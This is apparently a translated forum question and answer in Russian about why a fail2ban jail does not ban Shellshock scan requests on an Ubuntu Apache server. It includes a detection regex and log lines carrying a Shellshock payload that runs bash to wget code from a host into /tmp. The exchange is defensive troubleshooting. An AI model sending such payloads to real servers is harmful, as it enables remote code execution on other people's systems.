Я установил веб-сервер Apache в стандартной версии Ubuntu 14.04, и я пытаюсь использовать fail2ban для блокировки запросов, которые проверяют уязвимости.
У меня есть поместите следующее в /etc/fail2ban/jail.local
:
[apache-vulnerability-scan]
enabled = true
port = http,https
filter = apache-vulnerability-scan
logpath = /var/log/apache*/*access.log
maxretry = 1
Определение правила находится в /etc/fail2ban/filter.d/apache-vulnerability-scan.conf
:
[Definition]
failregex = ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$
ignoreregex =
Для тех, кто не знаком с правилами Ubuntu по умолчанию для fail2ban, Вот некоторые из основных правил:
ignoreip = 127.0.0.1/8
bantime = 600
findtime = 600
maxretry = 3
backend = auto
usedns = warn
protocol = tcp
chain = INPUT
Однако я могу делать запросы без fail2ban, блокируя мой IP-адрес, даже если для параметра maxretry
установлено значение 1
.
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:43 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"
Статус фильтра вроде в порядке:
# fail2ban-client status apache-vulnerability-scan
Status for the jail: apache-vulnerability-scan
|- filter
| |- File list: /var/log/apache2/other_vhosts_access.log /var/log/apache
2/access.log
| |- Currently failed: 0
| `- Total failed: 0
`- action
|- Currently banned: 0
| `- IP list:
`- Total banned: 0
Как кажется, само правило:
Running tests
=============
Use failregex file : /etc/fail2ban/filter.d/apache-vulnerability-scan.conf
Use log file : /var/log/apache2/access.log
Results
=======
Failregex: 10 total
|- #) [# of hits] regular expression
| 1) [10] ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$
| 10.0.2.2 Sat Nov 21 00:11:40 2015
| 10.0.2.2 Sat Nov 21 00:11:40 2015
| 10.0.2.2 Sat Nov 21 00:11:40 2015
| 10.0.2.2 Sat Nov 21 00:11:41 2015
| 10.0.2.2 Sat Nov 21 00:11:41 2015
| 10.0.2.2 Sat Nov 21 00:11:41 2015
| 10.0.2.2 Sat Nov 21 00:11:41 2015
| 10.0.2.2 Sat Nov 21 00:11:42 2015
| 10.0.2.2 Sat Nov 21 00:11:42 2015
| 10.0.2.2 Sat Nov 21 00:11:43 2015
`-
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [13] Day/MONTH/Year:Hour:Minute:Second
| [0] WEEKDAY MONTH Day Hour:Minute:Second[.subsecond] Year
| [0] WEEKDAY MONTH Day Hour:Minute:Second Year
| [0] WEEKDAY MONTH Day Hour:Minute:Second
| [0] MONTH Day Hour:Minute:Second
| [0] Year/Month/Day Hour:Minute:Second
| [0] Day/Month/Year Hour:Minute:Second
| [0] Day/Month/Year2 Hour:Minute:Second
| [0] Month/Day/Year:Hour:Minute:Second
| [0] Year-Month-Day Hour:Minute:Second[,subsecond]
| [0] Year-Month-Day Hour:Minute:Second
| [0] Year.Month.Day Hour:Minute:Second
| [0] Day-MONTH-Year Hour:Minute:Second[.Millisecond]
| [0] Day-Month-Year Hour:Minute:Second
| [0] Month-Day-Year Hour:Minute:Second[.Millisecond]
| [0] TAI64N
| [0] Epoch
| [0] ISO 8601
| [0] Hour:Minute:Second
| [0] <Month/Day/Year@Hour:Minute:Second>
| [0] YearMonthDay Hour:Minute:Second
| [0] Month-Day-Year Hour:Minute:Second
`-
Lines: 13 lines, 0 ignored, 12 matched, 1 missed
|- Missed line(s):
| 10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"
`-
Почему правила fail2ban не вступают в силу? Что я здесь делаю не так?
Отсутствует действие
для используемых правил, что означает, что fail2ban не знает, что делать, если правило соответствует. Это можно настроить глобально или локально для каждой тюрьмы. Правила действий определены в /etc/fail2ban/action.d/
. Например, для глобального запрета вы можете добавить следующее в jail.local
:
banaction = iptables -multiport
Для получения дополнительных сведений обратитесь к области «ДЕЙСТВИЯ» файла jail.conf
.
Вам также необходимо будет сократить имя тюрьмы apache-уязвимости-сканирование
как Имя цепочки iptables имеет ограничение по длине.